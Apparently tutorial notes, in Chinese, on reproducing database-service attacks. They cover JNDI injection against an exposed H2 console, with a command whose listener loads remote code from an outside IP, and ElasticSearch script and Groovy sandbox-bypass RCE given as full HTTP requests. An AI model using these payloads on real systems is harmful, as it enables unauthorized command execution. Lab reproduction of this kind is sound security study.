1、服务攻防-数据库类型安全

2、influxdb-未授权访问-jwt验证

3、H2database-未授权访问-配置不当

4、CouchDB-权限绕过配合RCE-漏洞

5、ElasticSearch-文件写入&RCE-漏洞

这些数据库在特定的环境上用到,特用的程序固定的。使用面不广,但是有一定的应用价值。会根据应用功能选择数据库。

#章节内容:

常见服务应用的安全测试: 1、配置不当-未授权访问 2、安全机制-特定安全漏洞 3、安全机制-弱口令爆破攻击

H2database-未授权访问-配置不当

与redis配置是一样的 web端口:8080 默认端口:20051 H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权,配置如下: spring.h2.console.enabled=true` `spring.h2.console.settings.web-allow-others=true

利用到的工具是java内置的攻击:JNDI攻击。这个是由于java内置的语言不同特性决定的。java网站运行有两种情况:1.自写源代码来进行运行 2.运行jar包

利用流程是: 1.下载利用文件 2.利用这个文件去生成一个payload 3.让这个地址去加载远程文件。

http://your-ip:8080/h2-console/即可查看到H2 database的管理页面。

下载JNDI-Injection-Exploit

 https://github.com/welk1n/JNDI-Injection-Exploit

生成执行RMI Payload-URL

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.65.159
  • 1.

填入URL提交执行,点击连接

数据库安全H2和Elasticsearch漏洞_数据库

数据库安全H2和Elasticsearch漏洞_Java_02

通过JDBC URL地址远程加载exp,java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.65.159作用就是开启监听并执行命令,-C为执行的命令,-A为监听机的ip地址

ElasticSearch

ElasticSearch-文件写入&RCE-漏洞
默认端口:9200 9300
 
一般在蓝队中,经常与kibana一起搭建,用于日志分析等。
  • 1.
  • 2.
  • 3.

复现步骤 该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据。

插入一条新数据

POST /website/blog/ HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Content-Length: 32
{
"name": "test"
}
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.

命令执行

POST /_search?pretty HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Content-Length: 366
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.

四、xpocsutie3检测 verify

数据库安全H2和Elasticsearch漏洞_数据_03

ElasticSearch-沙箱绕过&代码执行漏洞

一、漏洞简介 CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞:1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。

二、影响版本 三、复现过程 漏洞分析 ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本,但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法:

既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射 Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言 所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。

Java沙盒绕过法:

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
  • 1.

Goovy直接执行命令法:

def command='id';def res=command.execute().text;res
  • 1.

复现步骤 该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据。

添加一条数据

POST /test/test/ HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 24


{
  "name": "test"
}
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.

执行命令

POST /_search?pretty HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.

四、xpocsutie3检测

数据库安全H2和Elasticsearch漏洞_数据库_04